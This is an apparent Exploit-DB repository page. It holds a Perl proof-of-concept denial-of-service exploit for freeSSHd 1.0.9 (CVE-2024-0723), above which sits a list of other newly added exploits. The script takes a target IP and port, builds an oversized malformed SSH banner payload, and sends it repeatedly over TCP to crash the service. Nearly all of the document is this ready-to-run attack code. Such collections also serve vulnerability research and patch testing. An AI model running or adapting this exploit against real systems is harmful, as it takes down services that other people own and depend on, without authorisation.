97a1ee1350
9 changes to exploits/shellcodes/ghdb OneTrust SDK 6.33.0 - Denial Of Service (DoS) McAfee Agent 5.7.6 - Insecure Storage of Sensitive Information PX4 Military UAV Autopilot 1.12.3 - Denial of Service (DoS) Pterodactyl Panel 1.11.11 - Remote Code Execution (RCE) Sitecore 10.4 - Remote Code Execution (RCE) Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE) freeSSHd 1.0.9 - Denial of Service (DoS) Microsoft Excel 2024 Use after free - Remote Code Execution (RCE)
95 lines
No EOL
1.9 KiB
Text
95 lines
No EOL
1.9 KiB
Text
# Exploit Title: freeSSHd 1.0.9 - Denial of Service (DoS)
|
|
# Date: 2024-01-13
|
|
# Discovery by: Fernando Mengali
|
|
# Linkedin: https://www.linkedin.com/in/fernando-mengali/
|
|
# Software Link: https://www.exploit-db.com/apps/be82447d556d60db55053d658b4822a8-freeSSHd.exe
|
|
# Version: 1.0.9
|
|
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
|
|
# Vulnerability Type: Denial of Service (DoS)
|
|
# Tested on: Windows XP - SP3 - English
|
|
# CVE: CVE-2024-0723
|
|
|
|
|
|
use IO::Socket;
|
|
|
|
|
|
#2. Proof of Concept - PoC
|
|
|
|
$sis="$^O";
|
|
|
|
if ($sis eq "windows"){
|
|
$cmd="cls";
|
|
} else {
|
|
$cmd="clear";
|
|
}
|
|
|
|
system("$cmd");
|
|
|
|
intro();
|
|
main();
|
|
|
|
print "[+] Exploiting... \n";
|
|
|
|
my $bufff =
|
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"x18;
|
|
|
|
|
|
my $payload =
|
|
"\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" .
|
|
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" .
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde".("A" x 1067);
|
|
|
|
$payload .= $payload;
|
|
$payload .= "C" x 19021 . "\r\n";
|
|
|
|
my $i=0;
|
|
while ($i<=18) {
|
|
my $sock = IO::Socket::INET->new(
|
|
PeerAddr => $ip,
|
|
PeerPort => $port,
|
|
Proto => 'tcp'
|
|
) or die "Cannot connect!\n";
|
|
|
|
if (<$sock> eq '') {
|
|
print "[+] Done - Exploited success!!!!!\n\n";
|
|
exit;
|
|
}
|
|
|
|
$sock->send($payload) or die "Exploited successuful!!!";
|
|
|
|
$i++;
|
|
}
|
|
|
|
|
|
|
|
|
|
sub intro {
|
|
print q {
|
|
|
|
|
|
_/|
|
|
// o\
|
|
|| ._)
|
|
//__\
|
|
)___(
|
|
|
|
[+] freeSSHd 1.0.9 - Denial of Service (DoS)
|
|
|
|
[*] Coded by Fernando Mengali
|
|
|
|
[@] e-mail: fernando.mengalli@gmail.com
|
|
|
|
}
|
|
}
|
|
|
|
sub main {
|
|
|
|
our ($ip, $port) = @ARGV;
|
|
|
|
unless (defined($ip) && defined($port)) {
|
|
|
|
print " \nUsage: $0 <ip> <port> \n";
|
|
exit(-1);
|
|
|
|
}
|
|
} |